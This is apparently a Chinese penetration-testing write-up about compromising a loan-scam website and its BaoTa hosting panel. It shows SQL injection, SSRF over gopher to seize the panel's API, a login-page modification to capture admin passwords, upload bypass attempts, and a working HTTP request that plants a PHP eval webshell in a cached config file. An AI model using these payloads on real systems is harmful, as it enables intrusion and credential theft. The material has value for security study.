1. 从一个SQL注入开始
这套系统基本到处都是SQL注入，前台后台都有。
SQL注入的目的当然是拿后台，通过前台的一些图片路径可以得到后台目录，SQL注入出来的管理员账户md5刚好可以解出来。因此进入后台。
这个后台比较特殊的一点在于进入【操作界面2】会存在更多的后台接口，其中包括最重要的一个【宝塔配置】。
2. SSRF打宝塔
这是一个调用curl的的SSRF，在宝塔接口填入http://2.2.2.2，不管是保存功能，还是添加域名功能都会对2.2.2.2发起一个POST请求。
而且直接支持gopher和dict，都不需要302跳转。这使得我们可以通过gopher打redis/fpm-php，或者打一个自己构造的POST包出去。
但如何用来攻击宝塔呢？这需要对方已经配置好了宝塔接口和宝塔密钥。这儿原本的功能就是通过配置宝塔地址和密钥，来通过宝塔API去控制宝塔。
https://www.bt.cn/bbs/thread-20376-1-1.html
所以只需要更改宝塔接口为自己服务器，获取通过密钥生成的request_token，就能调宝塔的任意接口了。
但是宝塔API这个功能是必须添加白名单的，因此自己本地或者VPS去调会提示这个。
谁有白名单呢？当然是它自己——已经配置好接口和密钥的web服务器。于是先改配置拿到request_token，再生成gopher-POST包，最后改配置gopher协议打宝塔。就能实现对宝塔的完全接管。
3. 文件上传
登录上宝塔，先在login页面上做手脚，等着管理员登录上来获得明文密码。
因为宝塔服务器和web服务器并不是同一台，所以在宝塔服务器上并未找到web源码。
继续黑盒测试很难有新的发现，后台唯一能用的上传接口是kindeditor，于是发动人脉技能找朋友要来了几套相似的源码。
因为诈骗套路是贷款，因此涉及很多上传点，所以第一时间去找的是上传接口。
这套源码有两个框架，一层用的phalapi供注册用户使用，一层很原始的后台供管理员使用。
phalapi中自带一个上传接口，调用方式为。
/phalapi/public/?s=Upload.go
看起来go和getRules的代码是分开的，没有校验后缀，但实际利用时发现还是校验了的。
除此之外，还发现一个上传签名的接口。
这种base64上传，取data:image/xxx;base64的xxx为后缀，经常能成为突破口。从代码上来看，文件在通过file_size大小校验和入数据库之前就完成了落地，未校验后缀，且文件名拼接精确到秒的时间戳和4位随机数。看起来完全能够利用。
然而实际利用时发现phalapi层全部做了流量加密。
人脉来的源码中并没有(所以是相似的源码)。
所以必须前端下断点来解密，很轻松断到AES入口。
发现key其实就是token的前16位，做了双base64，成功解密。
那么接下来就是构造符合格式的payload了。大概是这样的。
{
"user_id": 6612,
"datapair":"data:image/php;base64,XXX",
"jines":"1",
"qixian":"1",
"yongtu":"1"
}
通过AES加密，发送到
POST /phalapi/public/?s=Loan.jiekuan_post HTTP/1.1
Host: xxx
token: xxx
Content-Type: application/json
Content-Length: 58
{"payload":"xxx"}
然而最终发现源码不一样，这里校验了文件格式而且是白名单，image/php最终会报【签名格式错误】。
联想到这里文件先落地，然后再校验文件大小和数据库储存文件信息，有没有可能后缀校验也是写在文件落地后呢？
于是我连发了两个包，第一个是正常的png文件，文件正常落地入库，第二个是php。然后通过SQL注入注出png文件路径，随后再去爆破第二个php文件位置。
最终没有成功。
后台中也存在文件上传点，其中kindeditor只能报错泄露文件绝对路径，其他很多配置项都无法修改，导致配置项是图片文件的上传点也无法利用。还有一个看起来也是kindeditor的接口是这样的。
其本质是调用$_ZEAI['up2']这个地址的up.php，$_ZEAI['up2']为配置项可控，在我手上的源码中存在up.php，但目标上没有。这儿最多是个SSRF。
4. 反序列化和变量覆盖
总而言之，从文件上传就不要想了。再看看其他的漏洞。
最容易触发的当然是反序列化漏洞，而最简单的反序列化入口当然是phar。从调宝塔API的SSRF来看，找一个可以完全控制的地址，并没有那么困难。不过包括调宝塔API和调up.php，都是用curl的，curl虽然支持gopher，dict这些打内网的协议，但并不支持phar。我们最好找个file_get_contents之类的函数出来。
然后就在后台发现一个生成短网址的接口。
只要$url4为phar://xxx，$pgbdz/$url5/$url6为空即可。这些均为配置项可控。不过可惜的是，输出的时候是解析json格式，否则除了phar还会是个任意文件读取（那个时候还没有CVE-2024-2961，而且这种情况必须配合一个任意文件读取才能打）
那么反序列化链呢？如果从phalapi层审计，实在过于简单，两步即可getshell。
但很遗憾，phalapi层并没有反序列化入口，而后台层是那种很原始的php代码，能调用的类都没几个，与phalapi层也没有互相引用，仅仅是公用一个数据库而已。
因此反序列化就不要想了，给我源码的朋友也发现一个变量覆盖。
我以前的php代码审计文章中也讲过这种没有前后文的变量覆盖，只有覆盖SESSION一条路可以走，最终达到获取管理员权限或者二次注入的目的。
但由于我们已经有了SQL注入，所以这个意义不大。
5. 配置文件getshell
在寻找反序列化入口的过程中，我发现调宝塔API的接口是这样的。
经典序列化写入php当配置文件，在xyhcms中我们见过类似的操作，这样岂不是可以在配置项内容中增加一句话webshell即可？
但实际上这个点无法利用，因为它引用了chkUadm.php，有着全局尖括号的过滤。
以此受到启发，翻一翻其他配置文件，发现很多都是后台可控的配置项。
一看就可以用经典的';phpinfo();//来逃逸getshell。
然而查看控制的实际后台接口，却发现大部分都强转成int，或者经过了dataIO()。
dataIO中有着关键的htmlspecialchars()，使得我们无法利用单引号或者反斜杠逃逸。
然而百密一疏，由于dataIO只能处理字符串，对于数组，开发者居然直接不处理了。
因此只需要发送如下payload，即可插入到/cache/config.php
POST /sub/cache.php HTTP/1.1
Host: test
Content-Type: multipart/form-data; boundary=---------------------------140271667338222679644094227090
-----------------------------140271667338222679644094227090
Content-Disposition: form-data; name="rz_data[]"
1';eval($_POST[123]);//
-----------------------------140271667338222679644094227090--
最终web服务器，宝塔服务器均getshell。
